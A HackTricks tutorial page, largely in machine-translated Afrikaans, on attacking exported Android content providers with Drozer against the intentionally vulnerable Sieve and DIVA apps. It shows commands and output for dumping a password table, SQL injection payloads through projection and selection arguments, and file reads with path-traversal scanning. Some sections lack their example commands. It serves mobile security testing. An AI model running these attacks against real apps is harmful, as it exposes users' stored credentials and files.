Exploiting Content Providers

Exploiting Content Providers

Support HackTricks

Intro

Data word verskaf van een toepassing na ander op aanvraag deur 'n komponent bekend as 'n content provider. Hierdie versoeke word bestuur deur die ContentResolver class metodes. Content providers kan hul data in verskeie plekke stoor, soos 'n databasis, lêers, of oor 'n netwerk.

In die Manifest.xml lêer is die verklaring van die content provider vereis. Byvoorbeeld:

<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>

Om toegang te verkry tot content://com.mwr.example.sieve.DBContentProvider/Keys, is die READ_KEYS toestemming nodig. Dit is interessant om op te let dat die pad /Keys/ toeganklik is in die volgende afdeling, wat nie beskerm is nie as gevolg van 'n fout deur die ontwikkelaar, wat /Keys beveilig het maar /Keys/ verklaar het.

Miskien kan jy privaat data toegang of 'n sekere kwesbaarheid (SQL Injection of Path Traversal) benut.

Kry inligting van blootgestelde inhoudverskaffers

dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False

Dit is moontlik om saam te stel hoe om die DBContentProvider te bereik deur URI's met “content://” te begin. Hierdie benadering is gebaseer op insigte wat verkry is deur Drozer te gebruik, waar sleutel-inligting in die /Keys gids geleë was.

Drozer kan raai en verskeie URI's probeer:

dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

You should also check the ContentProvider code to search for queries:

Also, if you can't find full queries you could check which names are declared by the ContentProvider on the onCreate method:

The query will be like: content://name.of.package.class/declared_name

Database-backed Content Providers

Waarskynlik word die meeste van die Content Providers gebruik as interface vir 'n databasis. Daarom, as jy toegang kan kry, kan jy in staat wees om te onttrek, op te dateer, in te voeg en te verwyder inligting. Check of jy toegang kan kry tot sensitiewe inligting of probeer om dit te verander om te omseil magte.

When checking the code of the Content Provider look also for functions named like: query, insert, update and delete:

Because you will be able to call them

Query content

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com

Voeg inhoud in

Deur die databasis te ondervra, sal jy die naam van die kolomme leer, dan kan jy data in die DB invoeg:

Not dat jy in invoeg en opdatering --string kan gebruik om 'n string aan te dui, --double om 'n dubbel aan te dui, --float, --integer, --long, --short, --boolean

Werk inhoud op

As jy die naam van die kolomme ken, kan jy ook die inskrywings wysig:

Verwyder inhoud

SQL Inbraak

Dit is eenvoudig om vir SQL-inbraak (SQLite) te toets deur die projektering en keuse velde wat aan die inhoudverskaffer oorgedra word, te manipuleer. Wanneer jy die Inhoudverskaffer ondervra, is daar 2 interessante argumente om inligting te soek: --selection en --projection:

Jy kan probeer om hierdie parameters te misbruik om vir SQL-inbrake te toets:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type  | name             | tbl_name         | rootpage | sql              |
| table | android_metadata | android_metadata | 3        | CREATE TABLE ... |
| table | Passwords        | Passwords        | 4        | CREATE TABLE ... |

Outomatiese SQLInjection ontdekking deur Drozer

dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence

Lêerstelsel-ondersteunde Inhoudverskaffers

Inhoudverskaffers kan ook gebruik word om lêers te verkry:

Lees lêer

Jy kan lêers van die Inhoudverskaffer lees.

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Pad Traversal

As jy toegang tot lêers kan kry, kan jy probeer om 'n Pad Traversal te misbruik (in hierdie geval is dit nie nodig nie, maar jy kan probeer om "../" en soortgelyke truuks te gebruik).

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Outomatiese Pad Traversering ontdekking deur Drozer

dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider

Verwysings

Ondersteun HackTricks

Last updated